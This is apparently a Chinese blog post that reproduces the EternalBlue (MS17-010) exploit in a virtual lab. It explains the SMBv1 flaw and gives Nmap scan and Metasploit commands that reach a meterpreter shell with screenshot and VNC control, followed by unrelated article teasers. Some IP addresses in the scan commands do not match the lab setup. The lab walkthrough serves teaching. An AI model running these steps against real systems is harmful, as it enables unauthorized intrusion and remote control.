漏洞复现_永恒之蓝
1.概述
永恒之蓝(EternalBlue)是一个影响Windows操作系统的远程代码执行漏洞,编号为CVE-2017-0144,最初由美国国家安全局(NSA)开发并利用,后来被黑客组织Shadow Brokers泄露。该漏洞存在于SMBv1协议的内存处理过程中,攻击者可通过发送特制的恶意数据包远程执行任意代码,控制目标系统。它最臭名昭著的应用是2017年的WannaCry勒索软件攻击,该攻击迅速传播,影响超过230,000台计算机,导致全球范围内的广泛破坏。微软在2017年3月发布了安全更新补丁(MS17-010)修复该漏洞,但由于部分系统未及时更新,仍有大量机器暴露在风险之中。为防范此类攻击,建议关闭SMBv1协议并及时应用补丁。本文在虚拟环境中,使用Nmap和Metasploit对病毒攻击进行复现,展示其攻击过程,供大家学习和参考。
如果当前的Windows系统启用了SMBv1协议并且没有安装微软发布的补丁MS17-010,那么该系统确实暴露在永恒之蓝(EternalBlue)漏洞的威胁之下。
2. 复现准备
2.1 漏洞原理
永恒之蓝的漏洞存在于SMBv1协议的实现中。当一个Windows系统通过SMBv1接收到经过特制的恶意请求时,协议处理过程中的缓冲区管理出现错误,导致内存中的数据被非法操作。这种内存管理漏洞属于缓冲区溢出(Buffer Overflow)类型,使得攻击者可以向目标系统注入并执行任意代码,最终完全控制受害者系统。其详细过程如下:
- 缓冲区溢出:攻击者向目标系统的SMBv1服务发送一个特制的请求数据包,该数据包利用了SMB协议在处理网络请求时的内存管理缺陷。在处理这些数据时,系统没有正确验证输入的大小,导致了缓冲区溢出问题。
- 内存损坏:缓冲区溢出会使得攻击者能够覆盖系统内存中的数据,尤其是代码执行区域的内存。通过精心构造的攻击数据包,攻击者能够覆盖特定的内存区域,使得系统执行恶意代码。
- 远程代码执行:攻击者可以在目标系统上植入恶意代码并远程执行。因为SMB服务通常运行在系统权限下,攻击者获得的执行权限往往是管理员权限,这意味着攻击者可以完全控制受害系统。
缓冲区溢出(Buffer Overflow)是一种常见的计算机安全漏洞,发生在程序试图将超过预定大小的数据写入缓冲区时。缓冲区是程序在内存中用于临时存储数据的区域,当数据超出该区域容量时,多余的数据会覆盖相邻的内存地址,可能导致程序崩溃或给攻击者提供执行任意代码的机会。
2.2 漏洞影响
永恒之蓝漏洞影响了多个Windows版本,其中Windows 7和Windows Server 2008受到的影响最为严重,许多未打补丁的系统成为攻击目标。Windows Vista和Windows XP也存在风险,前者在2017年结束支持,后者在2014年已不再获得安全更新,使用这些版本的系统极为脆弱。Windows Server 2012虽然受到影响,但通常会及时进行安全更新,而Windows 10在漏洞首次出现时也受影响,但迅速推出了补丁,风险相对较低。Windows Server 2016和2019虽受影响,但仍在持续支持中,建议用户定期更新以降低安全风险。
Windows版本 | 影响程度 | 支持状态 |
Windows 7 | 受影响严重,许多未打补丁的系统成为攻击目标 | 2020年1月结束支持,某些企业仍在使用 |
Windows Server 2008 | 同样受到影响,广泛应用于企业和数据中心环境 | 2020年1月结束主流支持,转入扩展支持 |
Windows Vista | 受到影响,但用户数量较少 | 2017年4月结束支持 |
Windows XP | 历史悠久的系统,易受到攻击,特别是在特定设备上 | 2014年结束支持,使用该版本的系统风险极高 |
Windows Server 2012 | 受影响,但通常会较快进行安全更新 | 仍在进行主流支持,未打补丁的系统存在风险 |
Windows 10 | 受影响但快速发布了补丁,相对风险较低 | 持续获得更新和支持,建议定期安装安全补丁 |
Windows Server 2016 | 受影响但及时获得安全补丁 | 仍在持续支持中,建议定期更新 |
Windows Server 2019 | 受影响但及时获得安全补丁 | 仍在持续支持中,建议定期更新 |
2.3 复现环境
虚拟环境搭建:VMware Workstation 17 Pro
网络模式:NAT是一种在网络设备(如路由器或防火墙)中使用的技术,用于将私有IP地址转换为公共IP地址。通过NAT,多个虚拟机可以共享宿主机的公共IP地址,以访问外部网络。
当虚拟机发送网络请求时,宿主机会捕获这些请求,并将虚拟机的私有IP地址转换为宿主机的公共IP地址,然后将请求发送到外部网络。当外部网络返回数据时,宿主机会使用NAT表将数据包路由回相应的虚拟机,每个虚拟机的流量通过不同的端口进行标识,从而确保数据包能够正确发送到目标虚拟机。
攻击机:kali Linux 2019.1,IP:192.168.153.130。
靶机:Windows 7,IP:192.168.153.129。
3. 攻击复现
3.1 使用nmap进行扫描
使用nmap扫描当前网段中存活的主机
# 活跃机器扫描
nmap -sS 192.168.153.0/24
扫描发现与攻击机处于同一网段的靶机,其IP为192.168.153.129,其开放的端口包括135端口、139端口基于445端口。在此基础上,需要进一步确认靶机的操作系统类型。
# 操作系统侦察
nmap -O 192.168.56.129
扫描发现靶机的操作系统为Windows 7,在此基础上进一步通过nmap脚本扫描靶机中存在的漏洞。
# 漏洞扫描
nmap --script=vuln 192.168.56.132
扫描发现靶机存在永恒之蓝漏洞(ms17-010),接下来需要使用工具实现漏洞的利用。
3.2 使用Metasploit进行攻击
启动Metasploit,并搜索永恒之蓝漏洞相关的工具。
# 启动metasploit
msfconsole# 搜索永恒之蓝相关工具
search ms17-010
执行上述指令后发现,存在一系列用于永恒之蓝漏洞利用的模块,如上图所示。其中,我们利用模块2。
# 选择模块2
use 2# 显示配置
show option# 设置靶机IP
set RHOSTS 192.168.153.129# 运行模块
run
运行成功后会出现 `meterpreter >` 提示符,它是 Metasploit 的一个强大扩展模块。通过 Meterpreter,可以执行更深入的渗透操作,例如获取目标系统的屏幕截图、上传或下载文件、创建持久后门等。基于meterpreter模块,我们首先可以实现靶机的截屏,如下图所示。
# 靶机截屏指令
screenshot# 远程桌面指令
run vnc
相关文章:

漏洞复现_永恒之蓝
1.概述 永恒之蓝(EternalBlue)是一个影响Windows操作系统的远程代码执行漏洞,编号为CVE-2017-0144,最初由美国国家安全局(NSA)开发并利用,后来被黑客组织Shadow Brokers泄露。该漏洞存在于SMBv…...

PyCharm的使用
PyCharm的入门使用教程 下载和安装PyCharm: 首先,访问JetBrains官方网站(https://www.jetbrains.com/pycharm/)下载PyCharm的最新版本。根据您的操作系统选择合适的版本进行下载。 安装完成后,打开PyCharm。 创建新…...
浅谈C#之AutoResetEvent和ManualResetEvent
一、基本介绍 AutoResetEvent和ManualResetEvent都是同步原语,它们用于线程之间的协调和通信。它们都是从EventWaitHandle类派生的,但它们在重置事件状态的行为上有所不同。 二、简单示例 AutoResetEvent AutoResetEvent是一个自动重置的事件。当一个线…...

【网络安全 | 靶机搭建】修改镜像源、更新软件源、安装git、更改python版本等
文章目录 0x00、必要准备0x01、修改镜像源0x02、更新软件源并清除缓存0x03、安装git0x04、更改默认Python版本为python30x05、安装增强功能0x06、vmware虚拟机导出iso0x00、必要准备 安装虚拟机时必须保存用户名、密码,用于后续操作,可以截图保存: 以下内容按个人需要进行配…...

VuePress搭建文档网站/个人博客(详细配置)主题配置
天行健,君子以自强不息;地势坤,君子以厚德载物。 每个人都有惰性,但不断学习是好好生活的根本,共勉! 文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。…...
Go语言笔记
目录 一、变量声明 二、流程控制 if(条件判断) for(循环结构) Switch(简化if) goto(跳出循环) 三、运算符 1、算数运算符 2、关系运算符 3、逻辑运算符 4、位运算符 5、…...

java缓存介绍
在Java编程中,缓存技术是一种非常有效的优化手段,用于减少数据访问的延迟和提高应用性能。缓存技术通过存储数据的副本在内存中,使得后续对相同数据的请求能够直接从内存中快速获取,而不需要再次进行耗时的磁盘访问或网络请求。 缓…...
react中diff的选择性子树渲染
在React中,组件的渲染是高效的,这得益于React的虚拟DOM(Virtual DOM)和diff算法。React的diff算法主要用于比较旧虚拟DOM树和新虚拟DOM树之间的差异,并仅更新实际DOM中需要变化的部分,从而提高性能。 关于…...
Git clone远程仓库没有其他分支的问题
在使用Git克隆(Git clone)时,可能遇到分支不全的问题。有以下几种可能的原因和解决方法: 未将所有分支克隆下来:默认情况下,Git只会克隆远程仓库的主分支。如果您想要克隆其他分支,可以使用以下…...

山东潍坊戴尔存储服务器维修 md3800f raid恢复
山东戴尔存储故障维修 存储型号:DELL PowerVault md3800f 故障问题:存储除尘后通电开机,发现有物理硬盘没有插到位,用户带电拔插了多块物理盘,导致关连的磁盘阵列掉线,卷失败; 处理方式…...

Hive企业级调优[6]——HQL语法优化之任务并行度
目录 HQL语法优化之任务并行度 优化说明 Map端并行度 Reduce端并行度 优化案例 HQL语法优化之任务并行度 优化说明 对于分布式计算任务来说,设置一个合理的并行度至关重要。Hive的计算任务依赖于MapReduce框架来完成,因此并行度的调整需要从Map端和…...

Excel 冻结多行多列
背景 版本:office 2021 专业版 无法像下图内某些版本一样,识别选中框选的多行多列。 如下选中后毫无反应,点击【视图】->【冻结窗口】->【冻结窗格】后自动设置为冻结第一列。 操作 如下,要把前两排冻结起来。 选择 C1&a…...

基于微信小程序的智慧物业管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏:Java精选实战项目…...

【论文笔记】BEVNeXt: Reviving Dense BEV Frameworks for 3D Object Detection
原文链接:https://arxiv.org/pdf/2312.01696 简介:最近,在摄像头3D目标检测任务中,基于查询的Transformer解码器正在超越传统密集BEV方法。但密集BEV框架有着更好的深度估计和目标定位能力,能全面精确地描绘3D场景。本…...
基于open-gpu-kernel-modules的p2p vram映射bar1提高通信效率
背景 bar1 Base Address Register 1 用于内存映射的寄存器,定义了设备的内存映射区域,BAR1专门分配给gpu的一部分内存区域,允许cpu通过pcie总线直接访问显存VRAM中的数据。但bar1的大小是有限的,在常规的4090上,bar1只…...

java之斗地主部分功能的实现
今天我们要实现斗地主中发牌和洗牌这两个功能,该如何去实现呢? 1.创建牌类:52张牌每一张牌包含两个属性:牌的大小和牌的花色。 故我们优先创建一个牌的类(Card):包含大小和花色。 public class Card { //单张牌的大小及类型/…...

我的AI工具箱Tauri版-VideoIntroductionClipCut视频介绍混剪
本教程基于自研的AI工具箱Tauri版进行VideoIntroductionClipCut视频介绍混剪。 本项目为自研的AI工具箱Tauri版中的视频剪辑模块,专注于自动生成视频介绍片段。该模块名为 VideoIntroductionClipCut,用户可以通过该工具快速进行视频的混剪和介绍内容的生…...
【鸿蒙OH-v5.0源码分析之 Linux Kernel 部分】011 - 第一个用户空间进程 init 进程 第一阶段初始化过程 源码分析
【鸿蒙OH-v5.0源码分析之 Linux Kernel 部分】011 - 第一个用户空间进程 init 进程 第一阶段初始化过程 源码分析 系列文章汇总:《鸿蒙OH-v5.0源码分析之 Uboot+Kernel 部分】000 - 文章链接汇总》 本文链接:《【鸿蒙OH-v5.0源码分析之 Linux Kernel 部分】011 - 第一个用户空…...
MyBatis 源码解析:Mapper 文件加载与解析
引言 在 MyBatis 中,Mapper 文件扮演了至关重要的角色,它通过 SQL 映射文件来定义数据库查询操作和 Java 对象之间的映射关系。Mapper 文件通常是以 XML 格式存储的,包含了 SQL 语句以及与 Java 对象的对应关系。在本篇文章中,我…...

(11)(2.1.2) DShot ESCs(二)
文章目录 前言 3 配置伺服功能 4 检查RC横幅 5 参数说明 前言 DShot 是一种数字 ESC 协议,它允许快速、高分辨率的数字通信,可以改善飞行器控制,这在多旋翼和 quadplane 应用中特别有用。 3 配置伺服功能 如上所述,如果使用…...

docker详细操作--未完待续
docker介绍 docker官网: Docker:加速容器应用程序开发 harbor官网:Harbor - Harbor 中文 使用docker加速器: Docker镜像极速下载服务 - 毫秒镜像 是什么 Docker 是一种开源的容器化平台,用于将应用程序及其依赖项(如库、运行时环…...
day52 ResNet18 CBAM
在深度学习的旅程中,我们不断探索如何提升模型的性能。今天,我将分享我在 ResNet18 模型中插入 CBAM(Convolutional Block Attention Module)模块,并采用分阶段微调策略的实践过程。通过这个过程,我不仅提升…...

select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...

系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文通过代码驱动的方式,系统讲解PyTorch核心概念和实战技巧,涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...

nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
华为OD最新机试真题-数组组成的最小数字-OD统一考试(B卷)
题目描述 给定一个整型数组,请从该数组中选择3个元素 组成最小数字并输出 (如果数组长度小于3,则选择数组中所有元素来组成最小数字)。 输入描述 行用半角逗号分割的字符串记录的整型数组,0<数组长度<= 100,0<整数的取值范围<= 10000。 输出描述 由3个元素组成…...

《Docker》架构
文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器,docker,镜像,k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…...
Python网页自动化Selenium中文文档
1. 安装 1.1. 安装 Selenium Python bindings 提供了一个简单的API,让你使用Selenium WebDriver来编写功能/校验测试。 通过Selenium Python的API,你可以非常直观的使用Selenium WebDriver的所有功能。 Selenium Python bindings 使用非常简洁方便的A…...